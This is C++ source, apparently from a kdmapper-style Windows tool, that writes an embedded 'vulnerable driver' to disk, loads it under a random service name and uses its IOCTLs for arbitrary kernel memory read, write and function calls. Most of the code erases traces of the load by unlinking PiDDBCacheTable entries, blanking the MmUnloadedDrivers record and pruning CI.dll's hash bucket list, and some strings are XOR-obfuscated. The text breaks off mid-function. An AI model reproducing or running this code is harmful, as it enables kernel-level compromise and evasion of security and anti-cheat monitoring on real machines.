0x92, 0xEB, 0xD7, 0x66, 0x01, 0xB5, 0x1C, 0xD9, 0x0E, 0x5D, 0xC3, 0x09, 0xEC, 0xE6, 0x1F, 0x4F, 0x05, 0x59, 0x74, 0xE1,
0x66, 0xD6, 0x90, 0xA7, 0x95, 0x68, 0x9E, 0xAF, 0x65, 0x3F, 0x11, 0x49, 0x1A, 0x18, 0x93, 0xAF, 0x18, 0xA5, 0x31, 0x47,
0x20, 0xB0, 0x6A, 0x97, 0x5E, 0xE3, 0xCC, 0xDE, 0xA0, 0x29, 0x60, 0xC4, 0xDF, 0x1E, 0xFF, 0xEF, 0x2E, 0x08, 0x9C, 0x5A,
0xA0, 0x29, 0xCF, 0x0D, 0x3D, 0xA1, 0xA7, 0x15, 0xD2, 0x9C, 0xC5, 0x66, 0x47, 0x31, 0x02, 0xE7, 0xE8, 0x39, 0x59, 0xC0,
0xE7, 0x67, 0xB2, 0xC9, 0xD1, 0xE3, 0x10, 0x56, 0x10, 0x68, 0xE9, 0x06, 0x45, 0x64, 0x48, 0x71, 0x47, 0xB0, 0x0F, 0xC2,
0x4F, 0xDF, 0x00, 0xF2, 0x63, 0x0B, 0xE7, 0x5B, 0xA9, 0xCC, 0x8A, 0xEA, 0xB8, 0x2A, 0xF0, 0x52, 0xD9, 0x3F, 0x1C, 0xD7,
0x80, 0xC4, 0xCE, 0x22, 0x2B, 0xAA, 0x58, 0x3C, 0xA9, 0x86, 0x9D, 0x1F, 0x25, 0xC8, 0x4C, 0x90, 0xF2, 0xA6, 0xE0, 0x6B,
0x2B, 0x60, 0x21, 0x9C, 0x31, 0x07, 0xD7, 0x65, 0x51, 0x44, 0x11, 0xF8, 0xB2, 0xA4, 0xF4, 0x48, 0xCA, 0x09, 0xC5, 0x3F,
0x5C, 0x62, 0xD0, 0x69, 0x6A, 0x3F, 0x78, 0x6E, 0xC6, 0x88, 0x15, 0x62, 0xEB, 0x6F, 0xFA, 0x88, 0x81, 0x77, 0xC6, 0xB6,
0xB1, 0x2D, 0xAF, 0x57, 0x1C, 0x14, 0x1B, 0x4D, 0x99, 0x6A, 0xD6, 0x99, 0xCB, 0xC6, 0xAC, 0x06, 0xBB, 0x79, 0x21, 0x5A,
0xCC, 0x64, 0xA0, 0xDF, 0xFE, 0xB6, 0x0D, 0x73, 0x6B, 0xEF, 0x70, 0xF4, 0x09, 0x4A, 0xAC, 0xF4, 0x8B, 0xDE, 0x02, 0xFA,
0xF7, 0xC6, 0x24, 0x1D, 0xA7, 0x3F, 0x53, 0xB3, 0x5C, 0x59, 0x97, 0x12, 0x74, 0x6E, 0x3D, 0x42, 0xFD, 0xDB, 0xF9, 0x07,
0x6C, 0x3D, 0x3D, 0x01, 0x0F, 0x1F, 0x18, 0x40, 0x7B, 0x28, 0xB7, 0x97, 0x68, 0x6D, 0x86, 0x04, 0x43, 0x7A, 0x0C, 0xFE,
0xE6, 0x24, 0x03, 0xCE, 0xDB, 0x9F, 0x3D, 0xB6, 0x04, 0x4A, 0x3A, 0xC3, 0x13, 0x97, 0xD3, 0x17, 0x77, 0xED, 0x75, 0x6E,
0xE3, 0x69, 0x39, 0x3D, 0xFC, 0x27, 0x25, 0x12, 0xC9, 0xDB, 0x76, 0xD9,
};
}
+969
View File
@@ -0,0 +1,969 @@
#include "kd_driver.h"
#include "utils.h"
//#include "..\Vmp\Vmp.h"
HANDLE kd_driver::iqvw64e_device_handle;
uint64_t kd_driver::ntoskrnlbase = 0;
std::string cachedDriverName = "";
std::wstring kd_driver::GetDriverPath() {
std::wstring temp = utils::GetFullTempPath();
if (temp.empty()) {
return L"";
}
return temp + L"\\" + GetDriverNameW();
}
std::wstring kd_driver::GetDriverNameW()
{
if (cachedDriverName.empty()) {
//Create a random name
char buffer[100]{};
static const char alphanum[] =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int len = rand() % 20 + 10;
for (int i = 0; i < len; ++i)
buffer[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
cachedDriverName = buffer;
}
std::wstring name(cachedDriverName.begin(), cachedDriverName.end());
return name;
}
bool kd_driver::AcquireDebugPrivilege() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL) {
return false;
}
ULONG SE_DEBUG_PRIVILEGE = 20UL;
BOOLEAN SeDebugWasEnabled;
NTSTATUS Status = nt::RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled);
if (!NT_SUCCESS(Status)) {
Log((L"[-] Failed to acquire SE_DEBUG_PRIVILEGE") << std::endl);
return false;
}
return true;
}
#include "MmKd_sumper.h"
bool kd_driver::Load()
{
srand((unsigned)time(NULL) * GetCurrentThreadId());
std::wstring driver_path = GetDriverPath();
_wremove(driver_path.c_str());
if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(MmKd_sumper), sizeof(MmKd_sumper))) {
Log((L"[-] Failed to create vulnerable driver file") << std::endl);
return false;
}
if (!AcquireDebugPrivilege()) {
Log((L"[-] Failed to acquire SeDebugPrivilege") << std::endl);
_wremove(driver_path.c_str());
return false;
}
if (!nt::RegisterAndStart(driver_path, GetDriverNameW())) {
Log((L"[-] Failed to register and start service for the vulnerable driver") << std::endl);
_wremove(driver_path.c_str());
return false;
}
// mylink nuwer
iqvw64e_device_handle = CreateFileA(XorStr("\\\\.\\esp_link"), GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (iqvw64e_device_handle == INVALID_HANDLE_VALUE)
{
kd_driver::Unload();
Log((L"[-] failed handle !!") << std::endl);
return false;
}
kd_driver::ntoskrnlbase = utils::GetKernelModule("ntoskrnl.exe");
if (!kd_driver::ntoskrnlbase)
{
kd_driver::Unload();
Log((L"[-] Failed to get ntoskrnl.exe") << std::endl);
return false;
}
auto os = utils::GetVersion();
if (os.dwBuildNumber >= 14393)
{
if (!kd_driver::ClearPiDDBCacheTable(iqvw64e_device_handle)) {
Log((L"[-] Failed to ClearPiDDBCacheTable") << std::endl);
kd_driver::Unload();
return false;
}
if (!kd_driver::ClearKernelHashBucketList(iqvw64e_device_handle)) {
Log((L"[-] Failed to ClearKernelHashBucketList") << std::endl);
kd_driver::Unload();
return false;
}
if (!kd_driver::ClearMmUnloadedDrivers(iqvw64e_device_handle)) {
Log((L"[!] Failed to ClearMmUnloadedDrivers") << std::endl);
kd_driver::Unload();
return false;
}
//if (!kd_driver::ClearWdFilterDriverList(iqvw64e_device_handle)) {
// Log((L"[!] Failed to ClearWdFilterDriverList") << std::endl);
// kd_driver::Unload();
// return false;
//}
}
return true;
}
bool kd_driver::Unload()
{
if (iqvw64e_device_handle != INVALID_HANDLE_VALUE)
CloseHandle(iqvw64e_device_handle);
if (!nt::StopAndRemove(GetDriverNameW()))
return false;
std::wstring driver_path = GetDriverPath();
if (_wremove(driver_path.c_str()) != 0)
return false;
return true;
}
auto set_calc_random_val()->_CALC_VERIFY
{
_CALC_VERIFY Verify{ 0 };
auto a = utils::get_random_val(0, 1000000);
auto b = utils::get_random_val(0, 1000000);
auto c = utils::get_random_val(0, 1000000);
auto d = utils::get_random_val(0, 1000000);
Verify.a = a;
Verify.b = b;
Verify.c = c;
Verify.d = d;
return Verify;
}
bool kd_driver::MmCopy(HANDLE device_handle, uint64_t Base, uint64_t Buffer, SIZE_T Size)
{
_CALC_VERIFY Verify = set_calc_random_val();
Verify.calc_val = utils::calc_comm_verify_check(Verify.a, Verify.b, Verify.c, Verify.d);
COMM_INFO memory = { 0 };
memory.case_number = 0x13;
memory.destination = (DWORD64)Buffer;
memory.source = (DWORD64)Base;
memory.length = Size;
memory.Verify = &Verify;
DWORD bytes_returned = 0;
return DeviceIoControl(device_handle, IOCTL_MMCOPY, &memory, sizeof(memory), &memory, sizeof(memory), &bytes_returned, nullptr);
}
bool kd_driver::read(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size)
{
return MmCopy(device_handle, Base, (uint64_t)Buffer, Size);
}
bool kd_driver::write(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size)
{
return MmCopy(device_handle, (uint64_t)Buffer, (uint64_t)Base, Size);
}
bool kd_driver::writeEx(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size)
{
/*uint64_t physical_base = 0;
if (!GetPhysicalAddress(device_handle, Base, &physical_base))
return false;
const auto map_physical_addr = MapIoSpace(device_handle, physical_base, (uint32_t)Size);
if (map_physical_addr == NULL)
return false;
auto result = MmCopy(device_handle, (uint64_t)Buffer, (uint64_t)map_physical_addr, Size);
UnmapIoSpace(device_handle, map_physical_addr, (uint32_t)Size);*/
return MdlIoSpace(device_handle, Base, Buffer, Size);
// return true;
}
bool kd_driver::MdlIoSpace(HANDLE device_handle, uint64_t address, uint64_t* Buffer, SIZE_T Size)
{
_CALC_VERIFY Verify = set_calc_random_val();
Verify.calc_val = utils::calc_comm_verify_check(Verify.a, Verify.b, Verify.c, Verify.d);
COMM_INFO memory = { 0 };
memory.case_number = 0x14;
memory.destination = (DWORD64)Buffer;
memory.source = (DWORD64)address;
memory.length = Size;
memory.Verify = &Verify;
DWORD bytes_returned = 0;
return DeviceIoControl(device_handle, IOCTL_MMCOPYEX, &memory, sizeof(memory), &memory, sizeof(memory), &bytes_returned, nullptr);
}
uint64_t kd_driver::get_kernel_module_export(HANDLE device_handle, uint64_t ker_base, const char* func_name)
{
IMAGE_DOS_HEADER dos_header{ 0 };
IMAGE_NT_HEADERS nt_hander{ 0 };
kd_driver::read(device_handle, ker_base, (uint64_t*)&dos_header, sizeof(IMAGE_DOS_HEADER));
kd_driver::read(device_handle, ker_base + dos_header.e_lfanew, (uint64_t*)&nt_hander, sizeof(IMAGE_NT_HEADERS));
const auto export_table = nt_hander.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_table.Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
kd_driver::read(device_handle, ker_base + export_table.VirtualAddress, (uint64_t*)export_data, export_table.Size);
const auto delta = reinterpret_cast<uint64_t>(export_data) - export_table.VirtualAddress;
const auto func_name_tab = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
const auto func_index_tab = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
const auto func_address_tab = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);
uint64_t func_addr = NULL;
for (size_t i = 0; i < export_data->NumberOfNames; i++)
{
const char* func_names = reinterpret_cast<const char*>((uint64_t)func_name_tab[i] + delta);
if (!strcmp(func_names, func_name))
{
const auto func_index = func_index_tab[i];
const auto func_address = reinterpret_cast<char*>(func_address_tab[func_index]) + ker_base;
func_addr = (uint64_t)func_address;
break;
}
}
VirtualFree(export_data, 0, MEM_RELEASE);
return func_addr;
}
uint64_t kd_driver::ExAllocatePool(HANDLE device_handle, BYTE pool_type, SIZE_T size)
{
const auto ExAllocate = kd_driver::get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("ExAllocatePoolWithTag"));
if (!ExAllocate) {
Log((L"[!] Failed to find ExAllocatePool") << std::endl);
return 0;
}
uint64_t alloc = 0;
kd_driver::func_call(device_handle, (void*)ExAllocate, &alloc, pool_type, size, 'PwtA');
return alloc;
}
bool kd_driver::FreePool(HANDLE device_handle, uint64_t address) {
if (!address)
return 0;
static uint64_t kernel_ExFreePool = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("ExFreePool"));
if (!kernel_ExFreePool) {
Log((L"[!] Failed to find ExAllocatePool") << std::endl);
return 0;
}
return func_call<void>(device_handle, (void*)kernel_ExFreePool, nullptr, address);
}
PVOID kd_driver::RtlLookupElementGenericTableAvl(HANDLE device_handle, nt::PRTL_AVL_TABLE Table, PVOID Buffer) {
if (!Table)
return nullptr;
static uint64_t kernel_RtlDeleteElementGenericTableAvl = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("RtlLookupElementGenericTableAvl"));
if (!kernel_RtlDeleteElementGenericTableAvl) {
Log((L"[!] Failed to find RtlLookupElementGenericTableAvl") << std::endl);
return nullptr;
}
PVOID out;
if (!func_call(device_handle, (void*)kernel_RtlDeleteElementGenericTableAvl, &out, Table, Buffer))
return 0;
return out;
}
BOOLEAN kd_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer)
{
if (!Table)
return false;
static uint64_t kernel_RtlDeleteElementGenericTableAvl = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("RtlDeleteElementGenericTableAvl"));
if (!kernel_RtlDeleteElementGenericTableAvl) {
Log((L"[!] Failed to find RtlDeleteElementGenericTableAvl") << std::endl);
return false;
}
bool out;
return (func_call(device_handle, (void*)kernel_RtlDeleteElementGenericTableAvl, &out, Table, Buffer) && out);
}
nt::PiDDBCacheEntry* kd_driver::LookupEntry(HANDLE device_handle, nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name)
{
nt::PiDDBCacheEntry localentry{};
localentry.TimeDateStamp = timestamp;
localentry.DriverName.Buffer = (PWSTR)name;
localentry.DriverName.Length = (USHORT)(wcslen(name) * 2);
localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2;
return (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(device_handle, PiDDBCacheTable, (PVOID)&localentry);
}
uintptr_t kd_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) {
if (!dwAddress) {
Log(L"[-] No module address to find pattern" << std::endl);
return 0;
}
if (dwLen > 1024 * 1024 * 1024) { //if read is > 1GB
Log(L"[-] Can't find pattern, Too big section" << std::endl);
return 0;
}
auto sectionData = std::make_unique<BYTE[]>(dwLen);
if (!read(device_handle, dwAddress, (uint64_t*)sectionData.get(), dwLen)) {
Log(L"[-] Read failed in FindPatternAtKernel" << std::endl);
return 0;
}
auto result = utils::FindPattern((uintptr_t)sectionData.get(), dwLen, bMask, szMask);
if (result <= 0) {
return 0;
}
result = dwAddress - (uintptr_t)sectionData.get() + result;
return result;
}
uintptr_t kd_driver::FindSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, PULONG size) {
if (!modulePtr)
return 0;
BYTE headers[0x1000];
if (!read(device_handle, modulePtr, (uint64_t*)headers, 0x1000)) {
Log(L"[-] Can't read module headers" << std::endl);
return 0;
}
ULONG sectionSize = 0;
uintptr_t section = (uintptr_t)utils::FindSection(sectionName, (uintptr_t)headers, &sectionSize);
if (!section || !sectionSize) {
Log(L"[-] Can't find section" << std::endl);
return 0;
}
if (size)
*size = sectionSize;
return section - (uintptr_t)headers + modulePtr;
}
uintptr_t kd_driver::FindPatternInSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask) {
ULONG sectionSize = 0;
uintptr_t section = FindSectionAtKernel(device_handle, sectionName, modulePtr, &sectionSize);
return FindPatternAtKernel(device_handle, section, sectionSize, bMask, szMask);
}
PVOID kd_driver::ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize)
{
ULONG_PTR Instr = (ULONG_PTR)Instruction;
LONG RipOffset = 0;
if (!read(device_handle, Instr + OffsetOffset, (uint64_t*)&RipOffset, sizeof(LONG))) {
return nullptr;
}
PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset);
return ResolvedAddr;
}
bool kd_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait) {
if (!Resource)
return 0;
static uint64_t kernel_ExAcquireResourceExclusiveLite = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, XorStr("ExAcquireResourceExclusiveLite"));
if (!kernel_ExAcquireResourceExclusiveLite) {
Log((L"[!] Failed to find ExAcquireResourceExclusiveLite") << std::endl);
return 0;
}
BOOLEAN out;
return (func_call(device_handle, (void*)kernel_ExAcquireResourceExclusiveLite, &out, Resource, wait) && out);
}
bool kd_driver::ExReleaseResourceLite(HANDLE device_handle, PVOID Resource) {
if (!Resource)
return false;
static uint64_t kernel_ExReleaseResourceLite = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, XorStr( "ExReleaseResourceLite"));
if (!kernel_ExReleaseResourceLite) {
Log((L"[!] Failed to find ExReleaseResourceLite") << std::endl);
return false;
}
return func_call<void>(device_handle, (void*)kernel_ExReleaseResourceLite, nullptr, Resource);
}
bool kd_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver
#ifdef PDB_OFFSETS
auto PiDDBLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBLock");
if (!PiDDBLockOffset)
{
Log(L"[-] Warning PiDDBLock not found" << std::endl);
return false;
}
auto PiDDBCacheTableOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBCacheTable");
if (!PiDDBLockOffset)
{
Log(L"[-] Warning PiDDBCacheTable not found" << std::endl);
return false;
}
PVOID PiDDBLock = (PVOID)(kd_driver::ntoskrnlbase + PiDDBLockOffset);
nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)(kd_driver::ntoskrnlbase + PiDDBCacheTableOffset);
#else
auto PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132
auto PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", "xxxxxx"); // 66 03 D2 48 8D 0D
if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as possible
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", "xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now)
if (PiDDBLockPtr == NULL) {
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xB2\x01\x66\xFF\x88\x00\x00\x00\x00\x90\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????xx????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 48 8D 0D ? ? ? ? B2 01 66 FF 88 ? ? ? ? 90 E8 ? ? ? ? 4C 8B ? 24 update for build 26100.1000
if (PiDDBLockPtr == NULL) {
Log((L"[-] Warning PiDDBLock not found") << std::endl);
return false;
}
else {
Log((L"[+] PiDDBLock found with third pattern") << std::endl);
PiDDBLockPtr += 19;//third pattern offset
}
}
else {
Log((L"[+] PiDDBLock found with second pattern") << std::endl);
PiDDBLockPtr += 16; //second pattern offset
}
}
else {
PiDDBLockPtr += 28; //first pattern offset
}
if (PiDDBCacheTablePtr == NULL) {
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x48\x8B\xF9\x33\xC0\x48\x8D\x0D", "xxxxxxxx"); // 48 8B F9 33 C0 48 8D 0D
if (PiDDBCacheTablePtr == NULL) {
Log((L"[-] Warning PiDDBCacheTable not found") << std::endl);
return false;
}
else {
Log((L"[+] PiDDBCacheTable found with second pattern") << std::endl);
PiDDBCacheTablePtr += 2;//second pattern offset
}
}
Log((L"[+] PiDDBLock Ptr 0x") << std::hex << PiDDBLockPtr << std::endl);
Log((L"[+] PiDDBCacheTable Ptr 0x") << std::hex << PiDDBCacheTablePtr << std::endl);
PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7);
nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
#endif
//context part is not used by lookup, lock or delete why we should use it?
if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) {
Log((L"[-] Can't lock PiDDBCacheTable") << std::endl);
return false;
}
Log((L"[+] PiDDBLock Locked") << std::endl);
wstring n = GetDriverNameW();
// search our entry in the table
nt::PiDDBCacheEntry* pFoundEntry = (nt::PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp, n.c_str());
if (pFoundEntry == nullptr) {
Log(L"[-] Not found in cache" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
// first, unlink from the list
PLIST_ENTRY prev;
if (!read(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Blink)), (uint64_t*)&prev, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't get prev entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
PLIST_ENTRY next;
if (!read(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Flink)), (uint64_t*)&next, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't get next entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl);
if (!write(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), (uint64_t*)&next, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't set next entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
if (!write(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), (uint64_t*)&prev, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't set prev entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
// then delete the element from the avl table
if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) {
Log(XOR_STRING_W(L"[-] Can't delete from PiDDBCacheTable") << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
//Decrement delete count
ULONG cacheDeleteCount = 0;
read(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), (uint64_t*)&cacheDeleteCount, sizeof(ULONG));
if (cacheDeleteCount > 0) {
cacheDeleteCount--;
write(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), (uint64_t*)&cacheDeleteCount, sizeof(ULONG));
}
// release the ddb resource lock
ExReleaseResourceLite(device_handle, PiDDBLock);
Log(XOR_STRING_W(L"[+] PiDDBCacheTable Cleaned") << std::endl);
return true;
}
bool kd_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
{
ULONG buffer_size = 0;
void* buffer = nullptr;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status) || buffer == 0)
{
if (buffer != 0)
VirtualFree(buffer, 0, MEM_RELEASE);
return false;
}
uint64_t object = 0;
auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i)
{
const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];
if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId())))
continue;
if (current_system_handle.HandleValue == device_handle)
{
object = reinterpret_cast<uint64_t>(current_system_handle.Object);
break;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
if (!object)
return false;
uint64_t device_object = 0;
if (!read(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) {
//Log(L"[!] Failed to find device_object" << std::endl);
return false;
}
uint64_t driver_object = 0;
if (!read(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) {
//Log(L"[!] Failed to find driver_object" << std::endl);
return false;
}
uint64_t driver_section = 0;
if (!read(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) {
//Log(L"[!] Failed to find driver_section" << std::endl);
return false;
}
UNICODE_STRING us_driver_base_dll_name = { 0 };
if (!read(device_handle, driver_section + 0x58, (uint64_t*)&us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) {
//Log(L"[!] Failed to find driver name" << std::endl);
return false;
}
auto unloadedName = std::make_unique<wchar_t[]>((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL);
if (!read(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, (uint64_t*)unloadedName.get(), us_driver_base_dll_name.Length)) {
//Log(L"[!] Failed to read driver name" << std::endl);
return false;
}
us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver
if (!write(device_handle, driver_section + 0x58, (uint64_t*)&us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) {
//Log(L"[!] Failed to write driver name length" << std::endl);
return false;
}
//Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);
return true;
}
bool kd_driver::ClearKernelHashBucketList(HANDLE device_handle)
{
uint64_t ci = utils::GetKernelModule("CI.dll");
if (!ci) {
Log(L"[-] Can't Find ci.dll module address" << std::endl);
return false;
}
//Thanks @KDIo3 and @Swiftik from UnknownCheats
#ifdef PDB_OFFSETS
auto g_KernelHashBucketListOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_KernelHashBucketList");
if (!g_KernelHashBucketListOffset)
{
Log(L"[-] Can't Find g_KernelHashBucketList Offset" << std::endl);
return false;
}
auto g_HashCacheLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_HashCacheLock");
if (!g_KernelHashBucketListOffset)
{
Log(L"[-] Can't Find g_HashCacheLock Offset" << std::endl);
return false;
}
PVOID g_KernelHashBucketList = (PVOID)(ci + g_KernelHashBucketListOffset);
PVOID g_HashCacheLock = (PVOID)(ci + g_HashCacheLockOffset);
#else
auto sig = FindPatternInSectionAtKernel(device_handle, "PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx");
if (!sig) {
Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
return false;
}
auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx");
if (!sig2) {
Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
return false;
}
const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7);
const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);
if (!g_KernelHashBucketList || !g_HashCacheLock)
{
Log(L"[-] Can't Find g_HashCache relative address" << std::endl);
return false;
}
#endif
Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);
if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) {
Log(L"[-] Can't lock g_HashCacheLock" << std::endl);
return false;
}
Log(L"[+] g_HashCacheLock Locked" << std::endl);
nt::HashBucketEntry* prev = (nt::HashBucketEntry*)g_KernelHashBucketList;
nt::HashBucketEntry* entry = 0;
if (!read(device_handle, (uintptr_t)prev, (uint64_t*)&entry, sizeof(entry))) {
Log(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
if (!entry) {
Log(L"[!] g_KernelHashBucketList looks empty!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return true;
}
std::wstring wdname = GetDriverNameW();
std::wstring search_path = GetDriverPath();
SIZE_T expected_len = (search_path.length() - 2) * 2;
while (entry) {
